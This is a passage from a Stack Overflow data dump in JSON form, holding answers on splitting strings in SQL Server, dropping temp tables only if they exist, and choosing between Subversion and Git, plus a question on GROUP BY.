1, LEN(FullName)) as LastName,\nFrom FullNameTable\n</code></pre>\n" }, { "answer_id": 52375705, "author": "GGadde", "author_id": 1550510, "author_profile": "https://Stackoverflow.com/users/1550510", "pm_score": 0, "selected": false, "text": "<p>I know its late, but I recently had this requirement and came up with the below code. I don't have a choice to use User defined function. Hope this helps.</p>\n\n<pre><code>SELECT \n SUBSTRING(\n SUBSTRING('Hello John Smith' ,0,CHARINDEX(' ','Hello John Smith',CHARINDEX(' ','Hello John Smith')+1)\n ),CHARINDEX(' ','Hello John Smith'),LEN('Hello John Smith')\n )\n</code></pre>\n" }, { "answer_id": 56014901, "author": "Dave Mason", "author_id": 2961160, "author_profile": "https://Stackoverflow.com/users/2961160", "pm_score": -1, "selected": false, "text": "<p>I realize this is a really old question, but starting with SQL Server 2016 there are functions for parsing JSON data that can be used to specifically address the OP's question--and without splitting strings or resorting to a user-defined function. To access an item at a particular index of a delimited string, use the <code>JSON_VALUE</code> function. Properly formatted JSON data is required, however: strings must be enclosed in double quotes <code>\"</code> and the delimiter must be a comma <code>,</code>, with the entire string enclosed in square brackets <code>[]</code>.</p>\n\n<pre><code>DECLARE @SampleString NVARCHAR(MAX) = '\"Hello John Smith\"';\n--Format as JSON data.\nSET @SampleString = '[' + REPLACE(@SampleString, ' ', '\",\"') + ']';\nSELECT \n JSON_VALUE(@SampleString, '$[0]') AS Element1Value,\n JSON_VALUE(@SampleString, '$[1]') AS Element2Value,\n JSON_VALUE(@SampleString, '$[2]') AS Element3Value;\n</code></pre>\n\n<p><strong>Output</strong><br/></p>\n\n<pre><code>Element1Value Element2Value Element3Value\n--------------------- ------------------- ------------------------------\nHello John Smith\n\n(1 row affected)\n</code></pre>\n" }, { "answer_id": 58667307, "author": "GBGOLC", "author_id": 2048573, "author_profile": "https://Stackoverflow.com/users/2048573", "pm_score": -1, "selected": false, "text": "<p>Using SQL Server 2016 and above. Use this code to TRIM strings, ignore NULL values and apply a row index in the correct order. It also works with a space delimiter:</p>\n\n<pre><code>DECLARE @STRING_VALUE NVARCHAR(MAX) = 'one, two,,three, four, five'\n\nSELECT ROW_NUMBER() OVER (ORDER BY R.[index]) [index], R.[value] FROM\n(\n SELECT\n 1 [index], NULLIF(TRIM([value]), '') [value] FROM STRING_SPLIT(@STRING_VALUE, ',') T\n WHERE\n NULLIF(TRIM([value]), '') IS NOT NULL\n) R\n</code></pre>\n" }, { "answer_id": 60353609, "author": "Eralper", "author_id": 832991, "author_profile": "https://Stackoverflow.com/users/832991", "pm_score": -1, "selected": false, "text": "<p>If you check the following SQL tutorial on <a href=\"http://www.kodyaz.com/t-sql/scalar-and-tablue-valued-user-defined-sql-split-function.aspx\" rel=\"nofollow noreferrer\">splitting string using SQL</a>, you will find a number of functions that can be used to split a given string on SQL Server</p>\n\n<p>For example, <strong>SplitAndReturnNth</strong> UDF function can be used to split a text using a separator and return the Nth piece as the output of the function</p>\n\n<pre><code>select dbo.SplitAndReturnNth('Hello John Smith',' ',2)\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/2jEe1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2jEe1.png\" alt=\"enter image description here\"></a></p>\n" }, { "answer_id": 67416730, "author": "Ludovic Aubert", "author_id": 3046585, "author_profile": "https://Stackoverflow.com/users/3046585", "pm_score": 0, "selected": false, "text": "<pre><code>CREATE TABLE test(\n id int,\n adress varchar(100)\n);\nINSERT INTO test VALUES(1, 'Ludovic Aubert, 42 rue de la Victoire, 75009, Paris, France'),(2, 'Jose Garcia, 1 Calle de la Victoria, 56500 Barcelona, Espana');\n\nSELECT id, value, COUNT(*) OVER (PARTITION BY id) AS n, ROW_NUMBER() OVER (PARTITION BY id ORDER BY (SELECT NULL)) AS rn, adress\nFROM test\nCROSS APPLY STRING_SPLIT(adress, ',')\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/PZUGZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PZUGZ.png\" alt=\"enter image description here\" /></a></p>\n" }, { "answer_id": 70196925, "author": "Salman A", "author_id": 87015, "author_profile": "https://Stackoverflow.com/users/87015", "pm_score": 2, "selected": false, "text": "<p>In Azure SQL Database (based on Microsoft SQL Server but not exactly the same thing) the signature of <code>STRING_SPLIT</code> function looks like:</p>\n<pre><code>STRING_SPLIT ( string , separator [ , enable_ordinal ] )\n</code></pre>\n<p>When <code>enable_ordinal</code> flag is set to 1 the result will include a column named <code>ordinal</code> that consists of the 1‑based position of the substring within the input string:</p>\n<pre><code>SELECT *\nFROM STRING_SPLIT('hello john smith', ' ', 1)\n\n| value | ordinal |\n|-------|---------|\n| hello | 1 |\n| john | 2 |\n| smith | 3 |\n</code></pre>\n<p>This allows us to do this:</p>\n<pre><code>SELECT value\nFROM STRING_SPLIT('hello john smith', ' ', 1)\nWHERE ordinal = 2\n\n| value |\n|-------|\n| john |\n</code></pre>\n<hr />\n<p>If <code>enable_ordinal</code> is not available then there is a trick <em><strong>which assumes that the substrings within the input string are unique</strong></em>. In this scenario, <code>CHAR_INDEX</code> could be used to find the position of the substring within the input string:</p>\n<pre><code>SELECT value, ROW_NUMBER() OVER (ORDER BY CHARINDEX(value, input_str)) AS ord_pos\nFROM (VALUES\n ('hello john smith')\n) AS x(input_str)\nCROSS APPLY STRING_SPLIT(input_str, ' ')\n\n| value | ord_pos |\n|-------+---------|\n| hello | 1 |\n| john | 2 |\n| smith | 3 |\n</code></pre>\n" }, { "answer_id": 70970351, "author": "Josef B.", "author_id": 8043027, "author_profile": "https://Stackoverflow.com/users/8043027", "pm_score": 0, "selected": false, "text": "<p>Modified function of @Aaron Bertrand</p>\n<pre><code>CREATE FUNCTION [dbo].[SplitString]\n(\n @List NVARCHAR(MAX),\n @Delim VARCHAR(255),\n @Idx int\n)\nRETURNS NVARCHAR(1000)\nAS\nBEGIN\n DECLARE @ValueTable TABLE(String NVARCHAR(50), Ind int)\n DECLARE @Value NVARCHAR(50)\n BEGIN\n INSERT INTO @ValueTable\n SELECT Value, idx FROM\n (SELECT [Value], idx = RANK() OVER (ORDER BY n) FROM \n ( \n SELECT n = Number, \n [Value] = LTRIM(RTRIM(SUBSTRING(@List, [Number],\n CHARINDEX(@Delim, @List + @Delim, [Number]) - [Number])))\n FROM \n (SELECT Number = ROW_NUMBER() OVER (ORDER BY name)\n FROM sys.all_objects) AS x\n WHERE Number &lt;= LEN(@List)\n AND SUBSTRING(@Delim + @List, [Number], LEN(@Delim)) = @Delim\n ) AS y\n ) AS R WHERE idx = @Idx\n SET @Value = (SELECT String FROM @ValueTable)\n END\n RETURN @Value\nEND\nGO\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2647", "https://Stackoverflow.com", "https://Stackoverflow.com/users/383/" ]
Using SQL Server, how do I split a string so I can access item x? Take a string "Hello John Smith". How can I split the string by space and access the item at index 1 which should return "John"?
You may find the solution in *[SQL User Defined Function to Parse a Delimited String](http://www.codeproject.com/KB/database/SQL_UDF_to_Parse_a_String.aspx)* helpful (from [The Code Project](http://en.wikipedia.org/wiki/The_Code_Project)). You can use this simple logic: ``` Declare @products varchar(200) = '1|20|3|343|44|6|8765' Declare @individual varchar(20) = null WHILE LEN(@products) > 0 BEGIN IF PATINDEX('%|%', @products) > 0 BEGIN SET @individual = SUBSTRING(@products, 0, PATINDEX('%|%', @products)) SELECT @individual SET @products = SUBSTRING(@products, LEN(@individual + '|') + 1, LEN(@products)) END ELSE BEGIN SET @individual = @products SET @products = NULL SELECT @individual END END ```
2,649
<p>When writing a T-SQL script that I plan on re-running, often times I use temporary tables to store temporary data. Since the temp table is created on the fly, I'd like to be able to drop that table only if it exists (before I create it).</p> <p>I'll post the method that I use, but I'd like to see if there is a better way.</p>
[ { "answer_id": 2652, "author": "Nathan Bedford", "author_id": 434, "author_profile": "https://Stackoverflow.com/users/434", "pm_score": 4, "selected": false, "text": "<p>The OBJECT_ID function returns the internal object id for the given object name and type. 'tempdb..#t1' refers to the table #t1 in the tempdb database. 'U' is for user-defined table.</p>\n\n<pre class=\"lang-sql prettyprint-override\"><code>IF OBJECT_ID('tempdb..#t1', 'U') IS NOT NULL\n DROP TABLE #t1\n\nCREATE TABLE #t1\n(\n id INT IDENTITY(1,1),\n msg VARCHAR(255)\n)\n</code></pre>\n" }, { "answer_id": 2653, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 6, "selected": true, "text": "<pre><code>IF Object_Id('TempDB..#TempTable') IS NOT NULL\nBEGIN\n DROP TABLE #TempTable\nEND\n</code></pre>\n" }, { "answer_id": 87536, "author": "Keith Maurino", "author_id": 1096640, "author_profile": "https://Stackoverflow.com/users/1096640", "pm_score": 0, "selected": false, "text": "<pre><code>SELECT name\nFROM sysobjects\nWHERE type = 'U' AND name = 'TempTable'\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2649", "https://Stackoverflow.com", "https://Stackoverflow.com/users/434/" ]
When writing a T-SQL script that I plan on re-running, often times I use temporary tables to store temporary data. Since the temp table is created on the fly, I'd like to be able to drop that table only if it exists (before I create it). I'll post the method that I use, but I'd like to see if there is a better way.
``` IF Object_Id('TempDB..#TempTable') IS NOT NULL BEGIN DROP TABLE #TempTable END ```
2,658
<p>I need to implement version control, even for just the developing I do at home. I have read about how great subversion is for the past couple of years and was about to dedicate myself to learning this on the side until I heard about Git being the up and coming version control system.</p> <p>Given the situation, should I hold off and see which one comes out on top? What are their relative advantages?</p> <p>One issue I noticed with Git is, there are not many full featured GUIs, which is important to many users on my team.</p> <p>Also, wouldn't mind suggestions on how to get started with one or the other. (tutorials, etc.)</p>
[ { "answer_id": 2665, "author": "Karl Seguin", "author_id": 34, "author_profile": "https://Stackoverflow.com/users/34", "pm_score": 4, "selected": false, "text": "<p>Use subversion, it's easy to setup, easy to use, and has plenty of tools. Any future revision system will have an import from SVN feature, so it isn't like you can't change down the road if your needs grow.</p>\n" }, { "answer_id": 2667, "author": "Vaibhav", "author_id": 380, "author_profile": "https://Stackoverflow.com/users/380", "pm_score": 4, "selected": false, "text": "<p>Go for SVN. If you have never used source control before, it won't matter to you one way or the other.</p>\n\n<p>Also, there is not a large amount of learning involved in using a Source Control system. If you learn one, you can easily switch over to another at a later date.</p>\n\n<p>SVN is a great tool, and it should take care of most of your needs. And since it's been around, it has a fair sharer of GUI tools (TortoiseSVN, for example).</p>\n\n<p>Go for SVN.</p>\n" }, { "answer_id": 2668, "author": "Jonathan Works", "author_id": 309844, "author_profile": "https://Stackoverflow.com/users/309844", "pm_score": 7, "selected": true, "text": "<p>The most important thing about version control is:</p>\n<p><em><strong>JUST START USING IT</strong></em></p>\n<p>Not using version control is a horrible idea. If you are not using version control, stop reading right now and start using it.</p>\n<p>It is very easy to convert from</p>\n<pre><code>cvs&lt;-&gt;svn&lt;-&gt;git&lt;-&gt;hg\n</code></pre>\n<p>It doesn't matter which one you choose. Just pick the easiest one for you to use and start recording the history of your code. You can always migrate to another (D)VCS later.</p>\n<p>If you are looking for a easy to use GUI look at <a href=\"http://tortoisesvn.tigris.org/%22TortoiseSVN%22\" rel=\"noreferrer\">TortoiseSVN (Windows)</a> and <a href=\"http://www.versionsapp.com/\" rel=\"noreferrer\">Versions (Mac)</a> (Suggested by <a href=\"https://stackoverflow.com/questions/2658?sort=newest#2708\">codingwithoutcomments</a>)</p>\n<hr />\n<p>Edit:</p>\n<blockquote>\n<p><a href=\"https://stackoverflow.com/questions/2658/#2672\">pix0r said:</a></p>\n<p>Git has some nice features, but you won't be able to appreciate them unless you've already used something more standard like CVS or Subversion.</p>\n</blockquote>\n<p>This. Using git is pointless if you don't know what version control can do for you.</p>\n<p>Edit 2:</p>\n<p>Just saw this link on reddit: <a href=\"http://www.addedbytes.com/cheat-sheets/subversion-cheat-sheet/\" rel=\"noreferrer\">Subversion Cheat Sheet</a>. Good quick reference for the svn command line.</p>\n" }, { "answer_id": 2669, "author": "Rob Allen", "author_id": 149, "author_profile": "https://Stackoverflow.com/users/149", "pm_score": 2, "selected": false, "text": "<p>Don't wait. Pick one, and go with it. All systems will have their pluses and minuses. Your power could go out, you computer gets stolen, or you forget to undo a major change and all your code gets fried while you're waiting to see who emerges victorious.</p>\n" }, { "answer_id": 2670, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 0, "selected": false, "text": "<p>When I decided I must use a code versioning system, I looked around for any good tutorials on how to get started but didn't find any that could help me.</p>\n\n<p>So I simplely installed the SVN Server and Tortoise SVN for the client and dived into the deepend and i learn't how to use it along the way.</p>\n" }, { "answer_id": 2672, "author": "pix0r", "author_id": 72, "author_profile": "https://Stackoverflow.com/users/72", "pm_score": 4, "selected": false, "text": "<p>The <a href=\"http://svnbook.red-bean.com/\" rel=\"nofollow noreferrer\">Subversion Book</a> is your best bet for learning the tool. There may be other quick-start tutorials out there, but the Book is the best single reference you'll find.</p>\n\n<p>Git has some nice features, but you won't be able to appreciate them unless you've already used something more standard like CVS or Subversion. I'd definitely agree with the previous posters and start with Subversion.</p>\n" }, { "answer_id": 2673, "author": "Ishmaeel", "author_id": 227, "author_profile": "https://Stackoverflow.com/users/227", "pm_score": 0, "selected": false, "text": "<p>Start using SVN for your actual work, but try to make time for fiddling around with Git and/or Mercurial. SVN is reasonably stable for production, but eventually you'll face a scenario where you'll <em>need</em> a distributed SCM, by which time you'll be properly armed and the new systems will be mature enough.</p>\n" }, { "answer_id": 2675, "author": "Brandon Wood", "author_id": 423, "author_profile": "https://Stackoverflow.com/users/423", "pm_score": 2, "selected": false, "text": "<p>My vote goes to Subversion. It's very powerful, yet easy to use, and has some great tools like <a href=\"http://tortoisesvn.tigris.org/\" rel=\"nofollow noreferrer\">TortoiseSVN</a>.</p>\n\n<p>But as others have said before me, JUST START USING IT. Source control is such an important part of the software development process. No \"serious\" software project should be without it.</p>\n" }, { "answer_id": 2676, "author": "Rytmis", "author_id": 266, "author_profile": "https://Stackoverflow.com/users/266", "pm_score": 3, "selected": false, "text": "<p>For a friendly explanation of most of the basic concepts, see <a href=\"http://betterexplained.com/articles/a-visual-guide-to-version-control/\" rel=\"noreferrer\" title=\"Better Explained: A Visual Guide to Version Control\">A Visual Guide to Version Control</a>. The article is very SVN-friendly.</p>\n" }, { "answer_id": 2678, "author": "Polsonby", "author_id": 137, "author_profile": "https://Stackoverflow.com/users/137", "pm_score": 1, "selected": false, "text": "<p>Yup, SVN for preference unless you really need git's particular features. SVN is hard enough; It sounds like git is more complicated to live with. You can get hosted svn from people like <a href=\"http://www.beanstalkapp.com/\" rel=\"nofollow noreferrer\">Beanstalk</a> - unless you have in-house Linux people, I'd really recommend it. Things can go wrong horribly easily and it's nice to have someone else whose job it is to fix it.</p>\n\n<p>There's an excellent <a href=\"http://www.ericsink.com/scm/source_control.html\" rel=\"nofollow noreferrer\">tutorial</a> on revision control from Eric Sink which is worth reading no matter which system you use.</p>\n" }, { "answer_id": 2682, "author": "Mark Biek", "author_id": 305, "author_profile": "https://Stackoverflow.com/users/305", "pm_score": 0, "selected": false, "text": "<blockquote>\n <p><a href=\"https://stackoverflow.com/questions/2658/#2674\">superjoe30 writes</a>:</p>\n \n <blockquote>\n <p>Related question (perhaps answers can be edited to answer this question as well):</p>\n \n <p>What about using source control on your own computer, if you're the sole programmer? Is >>this good practice? Are there related tips or tricks?</p>\n </blockquote>\n</blockquote>\n\n<p>I use SVN for all of my personal projects. I started off with running svn on my home machine but eventually migrated over to Dreamhost. Their hosting packages that include Subversion are pretty reasonable.</p>\n" }, { "answer_id": 2708, "author": "CodingWithoutComments", "author_id": 25, "author_profile": "https://Stackoverflow.com/users/25", "pm_score": 2, "selected": false, "text": "<p>If you are on Mac OSX, I found http://www.versionsapp.com/\">Versions to be an incredible (free) GUI front-end to SVN.</p>\n" }, { "answer_id": 2723, "author": "Grant", "author_id": 30, "author_profile": "https://Stackoverflow.com/users/30", "pm_score": 2, "selected": false, "text": "<p>At my current job, my predecessor did not use any kind of version control. There are just mountains of folders in at least 3 different places where he kept all of his projects. Any random project folder can be expected to find at least one folder name \"project (OLD)\" and one named \"project\"</p>\n\n<p>With version control, you never have to make copies of \"safe\" builds. You don't really have to worry about your IDE corrupting the file you're working on (I'm looking at you, REALBasic 5.5) because is so easy to commit (Read: Save) your work every day.</p>\n\n<p>Needless to say, I installed version control the day after I found out it existed.</p>\n\n<p>Also, TortoiseSVN makes committing to the database as easy as right clicking a folder.</p>\n" }, { "answer_id": 2961, "author": "Wedge", "author_id": 332, "author_profile": "https://Stackoverflow.com/users/332", "pm_score": 2, "selected": false, "text": "<p>It's not that difficult to switch between version control systems. As others have mentioned the important thing is to start using anything as soon as possible. The benefits of using source control over not using source control vastly outweigh the differential benefits between different types of source control.</p>\n\n<p>Remember that no matter what version of source control you are using you will always be able to do a brute force conversion to another system by laying down the files from your old system onto disk and then importing those raw files into the new system.</p>\n\n<p>Moreover, being familiar with source control fundamentals is a very, very important skill to have as a software developer.</p>\n" }, { "answer_id": 3861, "author": "DShook", "author_id": 370, "author_profile": "https://Stackoverflow.com/users/370", "pm_score": 2, "selected": false, "text": "<p>Also try out <a href=\"http://www.visualsvn.com/\" rel=\"nofollow noreferrer\">visual svn</a> for your server if you want to avoid any command line work.</p>\n" }, { "answer_id": 5022, "author": "Adam Lerman", "author_id": 673, "author_profile": "https://Stackoverflow.com/users/673", "pm_score": 0, "selected": false, "text": "<p>If on a windows box a quick and dirty slution is CVSNT. Easy to use just set it up and works very well.</p>\n\n<p>I myself prefer SVN but this is a good one for quick use.</p>\n" }, { "answer_id": 10748, "author": "Nick Brosnahan", "author_id": 528, "author_profile": "https://Stackoverflow.com/users/528", "pm_score": 3, "selected": false, "text": "<p>I've used RCS, CVS, SCCS, SourceSafe, Vault, perforce, subversion, and git.</p>\n\n<p>I've evaluated BitKeeper, Dimensions, arch, bazaar, svk, ClearCase, PVCS, and Synergy.</p>\n\n<p>If I had to start a new repository today, I'd choose <strong>git</strong>. Hands down.</p>\n\n<p>It's free, fast, and under active development.</p>\n\n<p>And you can use it as a client of any subversion repository using git-svn.</p>\n\n<p>It rocks.</p>\n" }, { "answer_id": 10774, "author": "Orion Edwards", "author_id": 234, "author_profile": "https://Stackoverflow.com/users/234", "pm_score": 3, "selected": false, "text": "<blockquote>\n <p>@superjoe30</p>\n \n <p>What about using source control on your own computer, if you're the sole programmer? Is this good practice? Are there related tips or tricks?</p>\n</blockquote>\n\n<p>I find git is actually easier for this as you don't need a server or worry about entering URL's and so on. Your version-control stuff just lives in the <code>.git</code> directory inside your project and you just go ahead and use it.</p>\n\n<p>5 second intro (assuming you have installed it)</p>\n\n<pre><code>cd myproject\ngit init\ngit add * # add all the files\ngit commit\n</code></pre>\n\n<p>Next time you do some changes</p>\n\n<pre><code>git add newfile1 newfile2 # if you've made any new files since last time\ngit commit -a\n</code></pre>\n\n<p>As long as you're doing that, git has your back. If you mess up, your code is safe in the nice git repository. It's awesome</p>\n\n<ul>\n<li>Note: You may find getting things OUT of git a bit harder than getting them in, but it's far more preferable to have that problem than to not have the files at all!</li>\n</ul>\n" }, { "answer_id": 10788, "author": "John Smithers", "author_id": 1069, "author_profile": "https://Stackoverflow.com/users/1069", "pm_score": 4, "selected": false, "text": "<p>If you are new to versioncontrol read this:<br>\n<a href=\"http://www.ericsink.com/scm/source_control.html\" rel=\"nofollow noreferrer\">Source Control HOWTO</a></p>\n" }, { "answer_id": 13455, "author": "Brad Gilbert", "author_id": 1337, "author_profile": "https://Stackoverflow.com/users/1337", "pm_score": 0, "selected": false, "text": "<p>I would definitely choose SVN over CVS, if only because people who learned source control using CVS, tend to use \"<code>svn delete</code>\" then \"<code>svn add</code>\" instead of \"<code>svn move</code>\". Which makes it harder to find all of the previous revisions of a specific file. And you can always upgrade to using git-svn. I personally think it is easier to learn than hg, but really the <strong>main</strong> reason to use SVN is it has largely become the de-facto version control system of Open Source Software.</p>\n\n<p>If you ever plan on learning / using <a href=\"http://www.digitalmars.com/d/\" rel=\"nofollow noreferrer\">D</a> it is almost mandatory to access the third party repositories, like <a href=\"http://dsource.org\" rel=\"nofollow noreferrer\">DSource</a>.</p>\n" }, { "answer_id": 14316, "author": "Anders Sandvig", "author_id": 1709, "author_profile": "https://Stackoverflow.com/users/1709", "pm_score": 0, "selected": false, "text": "<p>@superjoe30 Yes, absoluteley. Once you start using version control you never go back. I use it for everything, even my \"home\" folder.</p>\n\n<p>@Orion Edwards Subversion does not require a server. You can access a local repository directly (via a client, of course), and there is no server process involved.</p>\n" }, { "answer_id": 14729, "author": "ansgri", "author_id": 1764, "author_profile": "https://Stackoverflow.com/users/1764", "pm_score": 0, "selected": false, "text": "<p>Just use TortoiseSVN, and you can live even without knowing actual Subversion commands... But that's bad. Luckily there will always be a “great opportunity” to learn them by heart — when your priceless repository first gets corrupted.</p>\n\n<p>Yes, it happens.</p>\n" }, { "answer_id": 23130, "author": "SarekOfVulcan", "author_id": 2531, "author_profile": "https://Stackoverflow.com/users/2531", "pm_score": 0, "selected": false, "text": "<p>As mentioned many times elsewhere, Just Do It. I was able to get started from scratch with Subversion under Windows in no time by reading the quick-start guide in the Red Book. Once I pointed TortoiseSVN at the repository, I was in business. It took me a while to get the finer points down, but they were minor humps to get over.</p>\n\n<p>I'd suggest installing the Subversion Service instead of using file:// URLs, but that's mostly personal preference. For a repository stored on your development machine, file:// works fine.</p>\n" }, { "answer_id": 23151, "author": "ryw", "author_id": 2477, "author_profile": "https://Stackoverflow.com/users/2477", "pm_score": 2, "selected": false, "text": "<p>Git is superior to subversion, but it's a little bit out on the bleeding edge.</p>\n\n<p>I'd say, if you're just getting started, jump on the edge; setup a free account @ <a href=\"http://github.com\" rel=\"nofollow noreferrer\">http://github.com</a> </p>\n\n<p>They have educational material on site for setting up &amp; using git.</p>\n" }, { "answer_id": 23157, "author": "icco", "author_id": 1063, "author_profile": "https://Stackoverflow.com/users/1063", "pm_score": 1, "selected": false, "text": "<p>Use TortoiseSVN (version.app if on mac). Just install and go. If you need a place to host your code look at <a href=\"http://beanstalkapp.com/\" rel=\"nofollow noreferrer\">http://beanstalkapp.com/</a></p>\n" }, { "answer_id": 23158, "author": "jonezy", "author_id": 2272, "author_profile": "https://Stackoverflow.com/users/2272", "pm_score": 0, "selected": false, "text": "<p>From personal experience, svn would be my recommendation. You can even use a service like <a href=\"http://beanstalkapp.com/\" rel=\"nofollow noreferrer\">Beanstalk</a> that offers free accounts (with limits obviously, but sufficient for any smallish project) to test the waters. But as others have said, git is superior and is likely worth looking into.</p>\n" }, { "answer_id": 26150, "author": "Mike Caron", "author_id": 2836, "author_profile": "https://Stackoverflow.com/users/2836", "pm_score": -1, "selected": false, "text": "<p>Short answer: Subversion if you're the only one coding it or you're on site with everyone you work with. GIT if you're working with people in different sites and your code base is huge.</p>\n\n<p>Subversion is really, really easy to setup and get using. It is also nice because you can do relatively complicated things with it too, like hook it up to Apache and use SSL or plug it into Trac for project management. There's so many tools available for Subversion that it's really a good choice.</p>\n\n<p>GIT is much more useful for people who are on large teams working in a distributed environment. Linus T. developed it for the Linux team because he was unsatisfied with the capabilities of traditional repositories. Well worth learning if you ever plan to be working with people on open source projects.</p>\n" }, { "answer_id": 26164, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>Coding Horror has a great post about <a href=\"https://blog.codinghorror.com/setting-up-subversion-on-windows/\" rel=\"nofollow noreferrer\">how to set up Subversion on Windows</a>.</p>\n\n<p>Following the tutorial, I was able to get Subervsion and TortoiseSVN running locally, and I got the education I needed out of it.</p>\n\n<p>As far as Git goes, it's probably a good idea to do a hands on experiment with both of them, to understand which fits your specific development practice.</p>\n" }, { "answer_id": 36095, "author": "Hershi", "author_id": 1596, "author_profile": "https://Stackoverflow.com/users/1596", "pm_score": 0, "selected": false, "text": "<p>One major tip to ease the setup of an SVN server right now is to use a Virtual Appliance. That is, a virtual machine that has subversion pre-installed and (mostly) pre-configured on it - pretty much a plug &amp; play thing. You can try <a href=\"http://www.vmware.com/appliances/directory/519\" rel=\"nofollow noreferrer\">here</a>, <a href=\"http://www.ytechie.com/svn-vm\" rel=\"nofollow noreferrer\">here</a> and <a href=\"http://www.garghouti.co.uk/vmTrac/\" rel=\"nofollow noreferrer\">here</a>, or just try searching Google on \"subversion virtual appliance\".</p>\n" }, { "answer_id": 39101, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>I started to use subversion after reading Wil Shipleys blog.</p>\n\n<p>So I started checking in code, one machine and dreamhost account. Then after I accidentally deleted a function and saved my project I knew I was in deep \"dudu\", but with subversion I just checked out the latest version of that file and it was like nothing happened.</p>\n\n<p>I use version control for everything now. I am planning on moving over to git because it is faster, works offline, takes less space and oh boy is it faster.</p>\n" }, { "answer_id": 119453, "author": "Srikanth131", "author_id": 4732, "author_profile": "https://Stackoverflow.com/users/4732", "pm_score": 1, "selected": false, "text": "<p>SubVersion is the best Choice for you , As Karl Seguin pointed out Moving to Another Versioning System would not be a problem. also SVN has very goof Easy to use GUIs in the Client Side (TortoiseSVN). </p>\n\n<p><a href=\"http://www.snee.com/bobdc.blog/2007/08/getting_started_with_subversio.html\" rel=\"nofollow noreferrer\">http://www.snee.com/bobdc.blog/2007/08/getting_started_with_subversio.html</a>\n<a href=\"http://dojo.jot.com/WikiHome/Getting%20Started%20With%20Subversion\" rel=\"nofollow noreferrer\">http://dojo.jot.com/WikiHome/Getting%20Started%20With%20Subversion</a></p>\n" }, { "answer_id": 119909, "author": "s3v1", "author_id": 17554, "author_profile": "https://Stackoverflow.com/users/17554", "pm_score": 1, "selected": false, "text": "<p>If you choose to go with subversion and you want to host your own svn server, then there is a very nice and easy windows based server called VisualSVN server. It hides the complexity of setting up an apache server, you basically just go next next next.\nUser configuration is handled with a webUI, instead of a config</p>\n\n<p><a href=\"http://www.visualsvn.com/server/\" rel=\"nofollow noreferrer\">http://www.visualsvn.com/server/</a></p>\n\n<p>using a public serve rlike beanstalk is probably easier, but some people like to have their own repositories, either for speed or security</p>\n" }, { "answer_id": 120052, "author": "Sam Stokes", "author_id": 20131, "author_profile": "https://Stackoverflow.com/users/20131", "pm_score": 3, "selected": false, "text": "<p>From my own experience with it, I wouldn't recommend git as an introduction to version control. I've been using it for a couple of months now, and my impression is that it's very powerful and - now that I've partially got my head around it - reasonably intuitive. However, the learning curve is very steep, even though I've been using version control for years. It also suffers from being too expressive - it supports many different workflows and development models, but the only guidance on \"the best\" way to use it is a few pages deep in a Google search, which also makes it tricky for a newcomer to pick up.</p>\n\n<p>That said, it's possible that starting from a blank slate with git might actually be easier - my VCS experience is all with centralised version control (CVS, SVN, Perforce...) and part of my (ongoing!) difficulty with git has been understanding the implications of the distributed model. I did glance briefly at other DVCSes like Bazaar and Mercurial and they seemed to be somewhat more newbie-friendly.</p>\n\n<p>Anyway, as others have said, Subversion is probably the easiest way to get used to the version control mindset and get practical experience of the benefits of VCS (rollback, branches, collaborative development, easier code review, etc).</p>\n\n<p>Oh, and don't start with CVS. It's still in practical use, and has advantages, but IMHO it has too many historical quirks and implementation problems (non-atomic commits!) to be a good way to learn.</p>\n" }, { "answer_id": 435336, "author": "Andy Dent", "author_id": 53870, "author_profile": "https://Stackoverflow.com/users/53870", "pm_score": 0, "selected": false, "text": "<p>An important reason to use svn rather than cvs is svn supports binary diffs. That may not matter to many programmers but if you are making a series of minor changes in a 10Mb image, having a unique copy each time in your repository can chew up space remarkably quickly.</p>\n\n<p>I use TortoiseSVN on Windows but on the Mac have gone for the commercial <a href=\"http://www.zennaware.com/cornerstone/\" rel=\"nofollow noreferrer\">CornerStone</a> client over the (now commercial) Versions client. I found the range of free Mac clients, including RapidSVN, had enough pain points to bug me into shelling out real dollars. The safety-net that CornerStone provides for catching files I forgot to add to repository is worth the dollars to me. I spend a lot of time collaborating with a US client who is in an opposite time zone so can't afford screwups forgetting to add files!</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2658", "https://Stackoverflow.com", "https://Stackoverflow.com/users/406/" ]
I need to implement version control, even for just the developing I do at home. I have read about how great subversion is for the past couple of years and was about to dedicate myself to learning this on the side until I heard about Git being the up and coming version control system. Given the situation, should I hold off and see which one comes out on top? What are their relative advantages? One issue I noticed with Git is, there are not many full featured GUIs, which is important to many users on my team. Also, wouldn't mind suggestions on how to get started with one or the other. (tutorials, etc.)
The most important thing about version control is: ***JUST START USING IT*** Not using version control is a horrible idea. If you are not using version control, stop reading right now and start using it. It is very easy to convert from ``` cvs<->svn<->git<->hg ``` It doesn't matter which one you choose. Just pick the easiest one for you to use and start recording the history of your code. You can always migrate to another (D)VCS later. If you are looking for a easy to use GUI look at [TortoiseSVN (Windows)](http://tortoisesvn.tigris.org/%22TortoiseSVN%22) and [Versions (Mac)](http://www.versionsapp.com/) (Suggested by [codingwithoutcomments](https://stackoverflow.com/questions/2658?sort=newest#2708)) --- Edit: > > [pix0r said:](https://stackoverflow.com/questions/2658/#2672) > > > Git has some nice features, but you won't be able to appreciate them unless you've already used something more standard like CVS or Subversion. > > > This. Using git is pointless if you don't know what version control can do for you. Edit 2: Just saw this link on reddit: [Subversion Cheat Sheet](http://www.addedbytes.com/cheat-sheets/subversion-cheat-sheet/). Good quick reference for the svn command line.
2,702
<p>I know I need to have (although I don't know why) a <code>GROUP BY</code> clause on the end of a SQL query that uses any aggregate functions like <code>count</code>, <code>sum</code>, <code>avg</code>, etc:</p> <pre><code>SELECT count(userID), userName FROM users GROUP BY userName </code></pre> <p>When else would <code>GROUP BY</code> be useful, and what are the performance ramifications?</p>
